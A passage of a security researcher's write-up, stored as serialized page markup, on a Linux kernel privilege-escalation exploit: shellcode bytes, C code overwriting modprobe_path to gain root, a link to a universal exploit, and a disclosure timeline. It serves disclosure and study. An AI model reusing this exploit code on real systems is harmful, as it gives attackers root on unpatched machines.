0x6a",{"type":23,"tag":314,"props":59025,"children":59026},{"style":338},[59027],{"type":28,"value":778},{"type":23,"tag":314,"props":59029,"children":59030},{"style":1245},[59031],{"type":28,"value":19297},{"type":23,"tag":314,"props":59033,"children":59034},{"style":47623},[59035],{"type":28,"value":59036},"\\x48\\xc7\\xc6",{"type":23,"tag":314,"props":59038,"children":59039},{"style":1245},[59040],{"type":28,"value":19297},{"type":23,"tag":314,"props":59042,"children":59043},{"style":338},[59044],{"type":28,"value":778},{"type":23,"tag":314,"props":59046,"children":59047},{"style":1054},[59048],{"type":28,"value":16535},{"type":23,"tag":314,"props":59050,"children":59051},{"style":338},[59052],{"type":28,"value":2343},{"type":23,"tag":314,"props":59054,"children":59055},{"style":354},[59056],{"type":28,"value":7828},{"type":23,"tag":314,"props":59058,"children":59059},{"style":1054},[59060],{"type":28,"value":1201},{"type":23,"tag":314,"props":59062,"children":59063},{"style":354},[59064],{"type":28,"value":51935},{"type":23,"tag":314,"props":59066,"children":59067},{"class":316,"line":1625},[59068,59072,59076,59080,59085,59089,59093,59098,59102,59106,59110,59114,59118,59122],{"type":23,"tag":314,"props":59069,"children":59070},{"style":332},[59071],{"type":28,"value":58421},{"type":23,"tag":314,"props":59073,"children":59074},{"style":338},[59075],{"type":28,"value":58363},{"type":23,"tag":314,"props":59077,"children":59078},{"style":354},[59079],{"type":28,"value":1130},{"type":23,"tag":314,"props":59081,"children":59082},{"style":1054},[59083],{"type":28,"value":59084}," 0x71",{"type":23,"tag":314,"props":59086,"children":59087},{"style":338},[59088],{"type":28,"value":778},{"type":23,"tag":314,"props":59090,"children":59091},{"style":1245},[59092],{"type":28,"value":19297},{"type":23,"tag":314,"props":59094,"children":59095},{"style":47623},[59096],{"type":28,"value":59097},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":314,"props":59099,"children":59100},{"style":1245},[59101],{"type":28,"value":19297},{"type":23,"tag":314,"props":59103,"children":59104},{"style":338},[59105],{"type":28,"value":778},{"type":23,"tag":314,"props":59107,"children":59108},{"style":1054},[59109],{"type":28,"value":17658},{"type":23,"tag":314,"props":59111,"children":59112},{"style":338},[59113],{"type":28,"value":2343},{"type":23,"tag":314,"props":59115,"children":59116},{"style":354},[59117],{"type":28,"value":7828},{"type":23,"tag":314,"props":59119,"children":59120},{"style":1054},[59121],{"type":28,"value":1201},{"type":23,"tag":314,"props":59123,"children":59124},{"style":354},[59125],{"type":28,"value":51935},{"type":23,"tag":314,"props":59127,"children":59128},{"class":316,"line":1660},[59129,59133,59137,59141,59146,59150,59154,59159,59163,59167,59171,59175,59179,59183],{"type":23,"tag":314,"props":59130,"children":59131},{"style":332},[59132],{"type":28,"value":58421},{"type":23,"tag":314,"props":59134,"children":59135},{"style":338},[59136],{"type":28,"value":58363},{"type":23,"tag":314,"props":59138,"children":59139},{"style":354},[59140],{"type":28,"value":1130},{"type":23,"tag":314,"props":59142,"children":59143},{"style":1054},[59144],{"type":28,"value":59145}," 0x78",{"type":23,"tag":314,"props":59147,"children":59148},{"style":338},[59149],{"type":28,"value":778},{"type":23,"tag":314,"props":59151,"children":59152},{"style":1245},[59153],{"type":28,"value":19297},{"type":23,"tag":314,"props":59155,"children":59156},{"style":47623},[59157],{"type":28,"value":59158},"\\xff\\xe0",{"type":23,"tag":314,"props":59160,"children":59161},{"style":1245},[59162],{"type":28,"value":19297},{"type":23,"tag":314,"props":59164,"children":59165},{"style":338},[59166],{"type":28,"value":778},{"type":23,"tag":314,"props":59168,"children":59169},{"style":1054},[59170],{"type":28,"value":2378},{"type":23,"tag":314,"props":59172,"children":59173},{"style":338},[59174],{"type":28,"value":2343},{"type":23,"tag":314,"props":59176,"children":59177},{"style":354},[59178],{"type":28,"value":7828},{"type":23,"tag":314,"props":59180,"children":59181},{"style":1054},[59182],{"type":28,"value":1201},{"type":23,"tag":314,"props":59184,"children":59185},{"style":338},[59186],{"type":28,"value":2414},{"type":23,"tag":314,"props":59188,"children":59189},{"class":316,"line":1708},[59190,59194,59198],{"type":23,"tag":314,"props":59191,"children":59192},{"style":2284},[59193],{"type":28,"value":14985},{"type":23,"tag":314,"props":59195,"children":59196},{"style":321},[59197],{"type":28,"value":11717},{"type":23,"tag":314,"props":59199,"children":59200},{"style":338},[59201],{"type":28,"value":2278},{"type":23,"tag":314,"props":59203,"children":59204},{"class":316,"line":1743},[59205],{"type":23,"tag":314,"props":59206,"children":59207},{"emptyLinePlaceholder":18},[59208],{"type":28,"value":1088},{"type":23,"tag":314,"props":59210,"children":59211},{"class":316,"line":1751},[59212,59216,59220],{"type":23,"tag":314,"props":59213,"children":59214},{"style":2284},[59215],{"type":28,"value":16228},{"type":23,"tag":314,"props":59217,"children":59218},{"style":321},[59219],{"type":28,"value":8309},{"type":23,"tag":314,"props":59221,"children":59222},{"style":338},[59223],{"type":28,"value":2278},{"type":23,"tag":314,"props":59225,"children":59226},{"class":316,"line":1791},[59227],{"type":23,"tag":314,"props":59228,"children":59229},{"style":338},[59230],{"type":28,"value":386},{"type":23,"tag":314,"props":59232,"children":59233},{"class":316,"line":1805},[59234],{"type":23,"tag":314,"props":59235,"children":59236},{"style":338},[59237],{"type":28,"value":9566},{"type":23,"tag":837,"props":59239,"children":59241},{"id":59240},"overwriting-modprobe_path",[59242,59244],{"type":28,"value":59243},"Overwriting ",{"type":23,"tag":94,"props":59245,"children":59247},{"className":59246},[],[59248],{"type":28,"value":57629},{"type":23,"tag":24,"props":59250,"children":59251},{},[59252,59254,59260],{"type":28,"value":59253},"Finding the ",{"type":23,"tag":94,"props":59255,"children":59257},{"className":59256},[],[59258],{"type":28,"value":59259},"/sbin/modprobe",{"type":28,"value":59261}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":59263,"children":59264},{},[59265,59267,59273],{"type":28,"value":59266},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":94,"props":59268,"children":59270},{"className":59269},[],[59271],{"type":28,"value":59272},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":59274}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":304,"props":59276,"children":59278},{"className":28358,"code":59277,"language":28360,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[59279],{"type":23,"tag":94,"props":59280,"children":59281},{"__ignoreMap":7},[59282,59289,59311,59319,59326,59334,59342,59350,59358,59365,59373,59380,59418,59429,59436,59443,59450,59477,59508,59515,59537,59550,59557,59615,59622,59650,59657,59664,59685,59692,59713,59724,59731,59738,59759,59766,59794,59807,59814,59821,59870,59877,59945,59952,59973,59993,60000,60007,60014,60034],{"type":23,"tag":314,"props":59283,"children":59284},{"class":316,"line":317},[59285],{"type":23,"tag":314,"props":59286,"children":59287},{"style":338},[59288],{"type":28,"value":9566},{"type":23,"tag":314,"props":59290,"children":59291},{"class":316,"line":370},[59292,59297,59302,59307],{"type":23,"tag":314,"props":59293,"children":59294},{"style":338},[59295],{"type":28,"value":59296}," puts(\"[*] ",{"type":23,"tag":314,"props":59298,"children":59299},{"style":2674},[59300],{"type":28,"value":59301},"overwrite",{"type":23,"tag":314,"props":59303,"children":59304},{"style":2674},[59305],{"type":28,"value":59306}," modprobe_path",{"type":23,"tag":314,"props":59308,"children":59309},{"style":1245},[59310],{"type":28,"value":55542},{"type":23,"tag":314,"props":59312,"children":59313},{"class":316,"line":380},[59314],{"type":23,"tag":314,"props":59315,"children":59316},{"style":1245},[59317],{"type":28,"value":59318}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":314,"props":59320,"children":59321},{"class":316,"line":1091},[59322],{"type":23,"tag":314,"props":59323,"children":59324},{"style":1245},[59325],{"type":28,"value":28435},{"type":23,"tag":314,"props":59327,"children":59328},{"class":316,"line":1141},[59329],{"type":23,"tag":314,"props":59330,"children":59331},{"style":1245},[59332],{"type":28,"value":59333}," pipebuf->page = modprobe_page;\n",{"type":23,"tag":314,"props":59335,"children":59336},{"class":316,"line":1173},[59337],{"type":23,"tag":314,"props":59338,"children":59339},{"style":1245},[59340],{"type":28,"value":59341}," pipebuf->offset = modprobe_off;\n",{"type":23,"tag":314,"props":59343,"children":59344},{"class":316,"line":1208},[59345],{"type":23,"tag":314,"props":59346,"children":59347},{"style":1245},[59348],{"type":28,"value":59349}," pipebuf->len = 0;\n",{"type":23,"tag":314,"props":59351,"children":59352},{"class":316,"line":1216},[59353],{"type":23,"tag":314,"props":59354,"children":59355},{"style":1245},[59356],{"type":28,"value":59357}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":314,"props":59359,"children":59360},{"class":316,"line":1301},[59361],{"type":23,"tag":314,"props":59362,"children":59363},{"style":1245},[59364],{"type":28,"value":30906},{"type":23,"tag":314,"props":59366,"children":59367},{"class":316,"line":1343},[59368],{"type":23,"tag":314,"props":59369,"children":59370},{"style":1245},[59371],{"type":28,"value":59372}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":314,"props":59374,"children":59375},{"class":316,"line":1351},[59376],{"type":23,"tag":314,"props":59377,"children":59378},{"style":1245},[59379],{"type":28,"value":30942},{"type":23,"tag":314,"props":59381,"children":59382},{"class":316,"line":1387},[59383,59388,59392,59396,59400,59405,59409,59413],{"type":23,"tag":314,"props":59384,"children":59385},{"style":1245},[59386],{"type":28,"value":59387}," perror(\"",{"type":23,"tag":314,"props":59389,"children":59390},{"style":338},[59391],{"type":28,"value":1312},{"type":23,"tag":314,"props":59393,"children":59394},{"style":354},[59395],{"type":28,"value":1051},{"type":23,"tag":314,"props":59397,"children":59398},{"style":338},[59399],{"type":28,"value":1322},{"type":23,"tag":314,"props":59401,"children":59402},{"style":2674},[59403],{"type":28,"value":59404},"write",{"type":23,"tag":314,"props":59406,"children":59407},{"style":338},[59408],{"type":28,"value":341},{"type":23,"tag":314,"props":59410,"children":59411},{"style":2674},[59412],{"type":28,"value":41187},{"type":23,"tag":314,"props":59414,"children":59415},{"style":338},[59416],{"type":28,"value":59417},")\");\n",{"type":23,"tag":314,"props":59419,"children":59420},{"class":316,"line":1422},[59421,59425],{"type":23,"tag":314,"props":59422,"children":59423},{"style":2284},[59424],{"type":28,"value":58211},{"type":23,"tag":314,"props":59426,"children":59427},{"style":338},[59428],{"type":28,"value":2278},{"type":23,"tag":314,"props":59430,"children":59431},{"class":316,"line":1430},[59432],{"type":23,"tag":314,"props":59433,"children":59434},{"style":338},[59435],{"type":28,"value":58136},{"type":23,"tag":314,"props":59437,"children":59438},{"class":316,"line":1452},[59439],{"type":23,"tag":314,"props":59440,"children":59441},{"style":338},[59442],{"type":28,"value":2602},{"type":23,"tag":314,"props":59444,"children":59445},{"class":316,"line":1497},[59446],{"type":23,"tag":314,"props":59447,"children":59448},{"emptyLinePlaceholder":18},[59449],{"type":28,"value":1088},{"type":23,"tag":314,"props":59451,"children":59452},{"class":316,"line":1539},[59453,59457,59461,59465,59469,59473],{"type":23,"tag":314,"props":59454,"children":59455},{"style":332},[59456],{"type":28,"value":53868},{"type":23,"tag":314,"props":59458,"children":59459},{"style":338},[59460],{"type":28,"value":341},{"type":23,"tag":314,"props":59462,"children":59463},{"style":354},[59464],{"type":28,"value":1833},{"type":23,"tag":314,"props":59466,"children":59467},{"style":338},[59468],{"type":28,"value":58022},{"type":23,"tag":314,"props":59470,"children":59471},{"style":1054},[59472],{"type":28,"value":1600},{"type":23,"tag":314,"props":59474,"children":59475},{"style":338},[59476],{"type":28,"value":58031},{"type":23,"tag":314,"props":59478,"children":59479},{"class":316,"line":1548},[59480,59484,59489,59493,59498,59503],{"type":23,"tag":314,"props":59481,"children":59482},{"style":332},[59483],{"type":28,"value":54569},{"type":23,"tag":314,"props":59485,"children":59486},{"style":338},[59487],{"type":28,"value":59488},"(fd_path, ",{"type":23,"tag":314,"props":59490,"children":59491},{"style":321},[59492],{"type":28,"value":1609},{"type":23,"tag":314,"props":59494,"children":59495},{"style":338},[59496],{"type":28,"value":59497},"(fd_path), ",{"type":23,"tag":314,"props":59499,"children":59500},{"style":1245},[59501],{"type":28,"value":59502},"\"/proc/%i/fd/%i\"",{"type":23,"tag":314,"props":59504,"children":59505},{"style":338},[59506],{"type":28,"value":59507},", i, modprobe_fd);\n",{"type":23,"tag":314,"props":59509,"children":59510},{"class":316,"line":1584},[59511],{"type":23,"tag":314,"props":59512,"children":59513},{"emptyLinePlaceholder":18},[59514],{"type":28,"value":1088},{"type":23,"tag":314,"props":59516,"children":59517},{"class":316,"line":1617},[59518,59523,59528,59532],{"type":23,"tag":314,"props":59519,"children":59520},{"style":332},[59521],{"type":28,"value":59522}," lseek",{"type":23,"tag":314,"props":59524,"children":59525},{"style":338},[59526],{"type":28,"value":59527},"(modprobe_fd, ",{"type":23,"tag":314,"props":59529,"children":59530},{"style":1054},[59531],{"type":28,"value":1600},{"type":23,"tag":314,"props":59533,"children":59534},{"style":338},[59535],{"type":28,"value":59536},", SEEK_SET);\n",{"type":23,"tag":314,"props":59538,"children":59539},{"class":316,"line":1625},[59540,59545],{"type":23,"tag":314,"props":59541,"children":59542},{"style":332},[59543],{"type":28,"value":59544}," dprintf",{"type":23,"tag":314,"props":59546,"children":59547},{"style":338},[59548],{"type":28,"value":59549},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":314,"props":59551,"children":59552},{"class":316,"line":1660},[59553],{"type":23,"tag":314,"props":59554,"children":59555},{"emptyLinePlaceholder":18},[59556],{"type":28,"value":1088},{"type":23,"tag":314,"props":59558,"children":59559},{"class":316,"line":1708},[59560,59564,59568,59572,59576,59580,59585,59589,59594,59599,59603,59607,59611],{"type":23,"tag":314,"props":59561,"children":59562},{"style":2284},[59563],{"type":28,"value":2527},{"type":23,"tag":314,"props":59565,"children":59566},{"style":338},[59567],{"type":28,"value":2324},{"type":23,"tag":314,"props":59569,"children":59570},{"style":332},[59571],{"type":28,"value":59404},{"type":23,"tag":314,"props":59573,"children":59574},{"style":338},[59575],{"type":28,"value":341},{"type":23,"tag":314,"props":59577,"children":59578},{"style":360},[59579],{"type":28,"value":58075},{"type":23,"tag":314,"props":59581,"children":59582},{"style":338},[59583],{"type":28,"value":59584},"[pipe_idx][",{"type":23,"tag":314,"props":59586,"children":59587},{"style":1054},[59588],{"type":28,"value":3267},{"type":23,"tag":314,"props":59590,"children":59591},{"style":338},[59592],{"type":28,"value":59593},"], fd_path, ",{"type":23,"tag":314,"props":59595,"children":59596},{"style":1054},[59597],{"type":28,"value":59598},"32",{"type":23,"tag":314,"props":59600,"children":59601},{"style":338},[59602],{"type":28,"value":2343},{"type":23,"tag":314,"props":59604,"children":59605},{"style":354},[59606],{"type":28,"value":5060},{"type":23,"tag":314,"props":59608,"children":59609},{"style":1054},[59610],{"type":28,"value":1201},{"type":23,"tag":314,"props":59612,"children":59613},{"style":338},[59614],{"type":28,"value":2414},{"type":23,"tag":314,"props":59616,"children":59617},{"class":316,"line":1743},[59618],{"type":23,"tag":314,"props":59619,"children":59620},{"style":338},[59621],{"type":28,"value":30906},{"type":23,"tag":314,"props":59623,"children":59624},{"class":316,"line":1751},[59625,59629,59633,59637,59641,59646],{"type":23,"tag":314,"props":59626,"children":59627},{"style":332},[59628],{"type":28,"value":57148},{"type":23,"tag":314,"props":59630,"children":59631},{"style":338},[59632],{"type":28,"value":341},{"type":23,"tag":314,"props":59634,"children":59635},{"style":1245},[59636],{"type":28,"value":19297},{"type":23,"tag":314,"props":59638,"children":59639},{"style":47623},[59640],{"type":28,"value":47626},{"type":23,"tag":314,"props":59642,"children":59643},{"style":1245},[59644],{"type":28,"value":59645},"[-] write(pipe)\"",{"type":23,"tag":314,"props":59647,"children":59648},{"style":338},[59649],{"type":28,"value":1025},{"type":23,"tag":314,"props":59651,"children":59652},{"class":316,"line":1791},[59653],{"type":23,"tag":314,"props":59654,"children":59655},{"style":338},[59656],{"type":28,"value":2602},{"type":23,"tag":314,"props":59658,"children":59659},{"class":316,"line":1805},[59660],{"type":23,"tag":314,"props":59661,"children":59662},{"emptyLinePlaceholder":18},[59663],{"type":28,"value":1088},{"type":23,"tag":314,"props":59665,"children":59666},{"class":316,"line":1818},[59667,59671,59675,59680],{"type":23,"tag":314,"props":59668,"children":59669},{"style":2284},[59670],{"type":28,"value":2527},{"type":23,"tag":314,"props":59672,"children":59673},{"style":338},[59674],{"type":28,"value":2324},{"type":23,"tag":314,"props":59676,"children":59677},{"style":332},[59678],{"type":28,"value":59679},"check_modprobe",{"type":23,"tag":314,"props":59681,"children":59682},{"style":338},[59683],{"type":28,"value":59684},"(fd_path))\n",{"type":23,"tag":314,"props":59686,"children":59687},{"class":316,"line":1873},[59688],{"type":23,"tag":314,"props":59689,"children":59690},{"style":338},[59691],{"type":28,"value":30906},{"type":23,"tag":314,"props":59693,"children":59694},{"class":316,"line":1891},[59695,59700,59704,59709],{"type":23,"tag":314,"props":59696,"children":59697},{"style":332},[59698],{"type":28,"value":59699}," puts",{"type":23,"tag":314,"props":59701,"children":59702},{"style":338},[59703],{"type":28,"value":341},{"type":23,"tag":314,"props":59705,"children":59706},{"style":1245},[59707],{"type":28,"value":59708},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":314,"props":59710,"children":59711},{"style":338},[59712],{"type":28,"value":1025},{"type":23,"tag":314,"props":59714,"children":59715},{"class":316,"line":1899},[59716,59720],{"type":23,"tag":314,"props":59717,"children":59718},{"style":2284},[59719],{"type":28,"value":2553},{"type":23,"tag":314,"props":59721,"children":59722},{"style":338},[59723],{"type":28,"value":2278},{"type":23,"tag":314,"props":59725,"children":59726},{"class":316,"line":1944},[59727],{"type":23,"tag":314,"props":59728,"children":59729},{"style":338},[59730],{"type":28,"value":2602},{"type":23,"tag":314,"props":59732,"children":59733},{"class":316,"line":2008},[59734],{"type":23,"tag":314,"props":59735,"children":59736},{"emptyLinePlaceholder":18},[59737],{"type":28,"value":1088},{"type":23,"tag":314,"props":59739,"children":59740},{"class":316,"line":2043},[59741,59745,59749,59754],{"type":23,"tag":314,"props":59742,"children":59743},{"style":2284},[59744],{"type":28,"value":2527},{"type":23,"tag":314,"props":59746,"children":59747},{"style":338},[59748],{"type":28,"value":2324},{"type":23,"tag":314,"props":59750,"children":59751},{"style":332},[59752],{"type":28,"value":59753},"trigger_modprobe",{"type":23,"tag":314,"props":59755,"children":59756},{"style":338},[59757],{"type":28,"value":59758},"(status_fd))\n",{"type":23,"tag":314,"props":59760,"children":59761},{"class":316,"line":22803},[59762],{"type":23,"tag":314,"props":59763,"children":59764},{"style":338},[59765],{"type":28,"value":30906},{"type":23,"tag":314,"props":59767,"children":59768},{"class":316,"line":22845},[59769,59773,59777,59781,59785,59790],{"type":23,"tag":314,"props":59770,"children":59771},{"style":332},[59772],{"type":28,"value":59699},{"type":23,"tag":314,"props":59774,"children":59775},{"style":338},[59776],{"type":28,"value":341},{"type":23,"tag":314,"props":59778,"children":59779},{"style":1245},[59780],{"type":28,"value":19297},{"type":23,"tag":314,"props":59782,"children":59783},{"style":47623},[59784],{"type":28,"value":47626},{"type":23,"tag":314,"props":59786,"children":59787},{"style":1245},[59788],{"type":28,"value":59789},"[+] got root\"",{"type":23,"tag":314,"props":59791,"children":59792},{"style":338},[59793],{"type":28,"value":1025},{"type":23,"tag":314,"props":59795,"children":59796},{"class":316,"line":22878},[59797,59802],{"type":23,"tag":314,"props":59798,"children":59799},{"style":2284},[59800],{"type":28,"value":59801}," goto",{"type":23,"tag":314,"props":59803,"children":59804},{"style":338},[59805],{"type":28,"value":59806}," out;\n",{"type":23,"tag":314,"props":59808,"children":59809},{"class":316,"line":22886},[59810],{"type":23,"tag":314,"props":59811,"children":59812},{"style":338},[59813],{"type":28,"value":2602},{"type":23,"tag":314,"props":59815,"children":59816},{"class":316,"line":22894},[59817],{"type":23,"tag":314,"props":59818,"children":59819},{"emptyLinePlaceholder":18},[59820],{"type":28,"value":1088},{"type":23,"tag":314,"props":59822,"children":59823},{"class":316,"line":22903},[59824,59829,59833,59837,59841,59845,59849,59853,59857,59862,59866],{"type":23,"tag":314,"props":59825,"children":59826},{"style":2284},[59827],{"type":28,"value":59828}," for",{"type":23,"tag":314,"props":59830,"children":59831},{"style":338},[59832],{"type":28,"value":2324},{"type":23,"tag":314,"props":59834,"children":59835},{"style":321},[59836],{"type":28,"value":18285},{"type":23,"tag":314,"props":59838,"children":59839},{"style":338},[59840],{"type":28,"value":53795},{"type":23,"tag":314,"props":59842,"children":59843},{"style":354},[59844],{"type":28,"value":1102},{"type":23,"tag":314,"props":59846,"children":59847},{"style":1054},[59848],{"type":28,"value":1201},{"type":23,"tag":314,"props":59850,"children":59851},{"style":338},[59852],{"type":28,"value":50484},{"type":23,"tag":314,"props":59854,"children":59855},{"style":354},[59856],{"type":28,"value":5060},{"type":23,"tag":314,"props":59858,"children":59859},{"style":338},[59860],{"type":28,"value":59861}," SKBUF_SPRAY; i",{"type":23,"tag":314,"props":59863,"children":59864},{"style":354},[59865],{"type":28,"value":50520},{"type":23,"tag":314,"props":59867,"children":59868},{"style":338},[59869],{"type":28,"value":2414},{"type":23,"tag":314,"props":59871,"children":59872},{"class":316,"line":22979},[59873],{"type":23,"tag":314,"props":59874,"children":59875},{"style":338},[59876],{"type":28,"value":30906},{"type":23,"tag":314,"props":59878,"children":59879},{"class":316,"line":23012},[59880,59884,59888,59893,59897,59902,59907,59911,59916,59920,59924,59929,59933,59937,59941],{"type":23,"tag":314,"props":59881,"children":59882},{"style":2284},[59883],{"type":28,"value":58052},{"type":23,"tag":314,"props":59885,"children":59886},{"style":338},[59887],{"type":28,"value":2324},{"type":23,"tag":314,"props":59889,"children":59890},{"style":332},[59891],{"type":28,"value":59892},"read",{"type":23,"tag":314,"props":59894,"children":59895},{"style":338},[59896],{"type":28,"value":341},{"type":23,"tag":314,"props":59898,"children":59899},{"style":360},[59900],{"type":28,"value":59901},"sock",{"type":23,"tag":314,"props":59903,"children":59904},{"style":338},[59905],{"type":28,"value":59906},"[i][",{"type":23,"tag":314,"props":59908,"children":59909},{"style":1054},[59910],{"type":28,"value":3267},{"type":23,"tag":314,"props":59912,"children":59913},{"style":338},[59914],{"type":28,"value":59915},"], leak, ",{"type":23,"tag":314,"props":59917,"children":59918},{"style":1054},[59919],{"type":28,"value":57399},{"type":23,"tag":314,"props":59921,"children":59922},{"style":354},[59923],{"type":28,"value":50506},{"type":23,"tag":314,"props":59925,"children":59926},{"style":1054},[59927],{"type":28,"value":59928}," 320",{"type":23,"tag":314,"props":59930,"children":59931},{"style":338},[59932],{"type":28,"value":2343},{"type":23,"tag":314,"props":59934,"children":59935},{"style":354},[59936],{"type":28,"value":5060},{"type":23,"tag":314,"props":59938,"children":59939},{"style":1054},[59940],{"type":28,"value":1201},{"type":23,"tag":314,"props":59942,"children":59943},{"style":338},[59944],{"type":28,"value":2414},{"type":23,"tag":314,"props":59946,"children":59947},{"class":316,"line":23020},[59948],{"type":23,"tag":314,"props":59949,"children":59950},{"style":338},[59951],{"type":28,"value":30942},{"type":23,"tag":314,"props":59953,"children":59954},{"class":316,"line":23028},[59955,59960,59964,59969],{"type":23,"tag":314,"props":59956,"children":59957},{"style":332},[59958],{"type":28,"value":59959}," perror",{"type":23,"tag":314,"props":59961,"children":59962},{"style":338},[59963],{"type":28,"value":341},{"type":23,"tag":314,"props":59965,"children":59966},{"style":1245},[59967],{"type":28,"value":59968},"\"[-] read(socket)\"",{"type":23,"tag":314,"props":59970,"children":59971},{"style":338},[59972],{"type":28,"value":1025},{"type":23,"tag":314,"props":59974,"children":59975},{"class":316,"line":23065},[59976,59981,59985,59989],{"type":23,"tag":314,"props":59977,"children":59978},{"style":2284},[59979],{"type":28,"value":59980}," return",{"type":23,"tag":314,"props":59982,"children":59983},{"style":354},[59984],{"type":28,"value":50506},{"type":23,"tag":314,"props":59986,"children":59987},{"style":1054},[59988],{"type":28,"value":3267},{"type":23,"tag":314,"props":59990,"children":59991},{"style":338},[59992],{"type":28,"value":2278},{"type":23,"tag":314,"props":59994,"children":59995},{"class":316,"line":23078},[59996],{"type":23,"tag":314,"props":59997,"children":59998},{"style":338},[59999],{"type":28,"value":58136},{"type":23,"tag":314,"props":60001,"children":60002},{"class":316,"line":23091},[60003],{"type":23,"tag":314,"props":60004,"children":60005},{"style":338},[60006],{"type":28,"value":2602},{"type":23,"tag":314,"props":60008,"children":60009},{"class":316,"line":23104},[60010],{"type":23,"tag":314,"props":60011,"children":60012},{"style":338},[60013],{"type":28,"value":2610},{"type":23,"tag":314,"props":60015,"children":60016},{"class":316,"line":23158},[60017,60021,60025,60030],{"type":23,"tag":314,"props":60018,"children":60019},{"style":332},[60020],{"type":28,"value":54757},{"type":23,"tag":314,"props":60022,"children":60023},{"style":338},[60024],{"type":28,"value":341},{"type":23,"tag":314,"props":60026,"children":60027},{"style":1245},[60028],{"type":28,"value":60029},"\"[-] fake modprobe failed\"",{"type":23,"tag":314,"props":60031,"children":60032},{"style":338},[60033],{"type":28,"value":1025},{"type":23,"tag":314,"props":60035,"children":60036},{"class":316,"line":23167},[60037],{"type":23,"tag":314,"props":60038,"children":60039},{"style":338},[60040],{"type":28,"value":9566},{"type":23,"tag":24,"props":60042,"children":60043},{},[60044,60046,60053],{"type":28,"value":60045},"This trick has already been throughly detailed by ",{"type":23,"tag":31,"props":60047,"children":60050},{"href":60048,"rel":60049},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[35],[60051],{"type":28,"value":60052},"lau",{"type":28,"value":60054},", so we won't go much more into it.",{"type":23,"tag":837,"props":60056,"children":60058},{"id":60057},"universal-exploit-demo",[60059],{"type":28,"value":60060},"Universal exploit demo",{"type":23,"tag":24,"props":60062,"children":60063},{},[60064,60066,60072],{"type":28,"value":60065},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":31,"props":60067,"children":60070},{"href":60068,"rel":60069},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[35],[60071],{"type":28,"value":56666},{"type":28,"value":282},{"type":23,"tag":61,"props":60074,"children":60076},{"id":60075},"disclosure-timeline",[60077],{"type":28,"value":60078},"Disclosure Timeline",{"type":23,"tag":127,"props":60080,"children":60081},{},[60082,60087,60092,60097,60102],{"type":23,"tag":88,"props":60083,"children":60084},{},[60085],{"type":28,"value":60086},"March 21st -- Patch made public",{"type":23,"tag":88,"props":60088,"children":60089},{},[60090],{"type":28,"value":60091},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":88,"props":60093,"children":60094},{},[60095],{"type":28,"value":60096},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":88,"props":60098,"children":60099},{},[60100],{"type":28,"value":60101},"March 26th -- Wrote Universal exploit",{"type":23,"tag":88,"props":60103,"children":60104},{},[60105],{"type":28,"value":60106},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":60108,"children":60109},{},[60110],{"type":28,"value":60111},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":61,"props":60113,"children":60114},{"id":28180},[60115],{"type":28,"value":18185},{"type":23,"tag":24,"props":60117,"children":60118},{},[60119],{"type":28,"value":60120},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":60122,"children":60123},{},[60124],{"type":28,"value":60125},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are 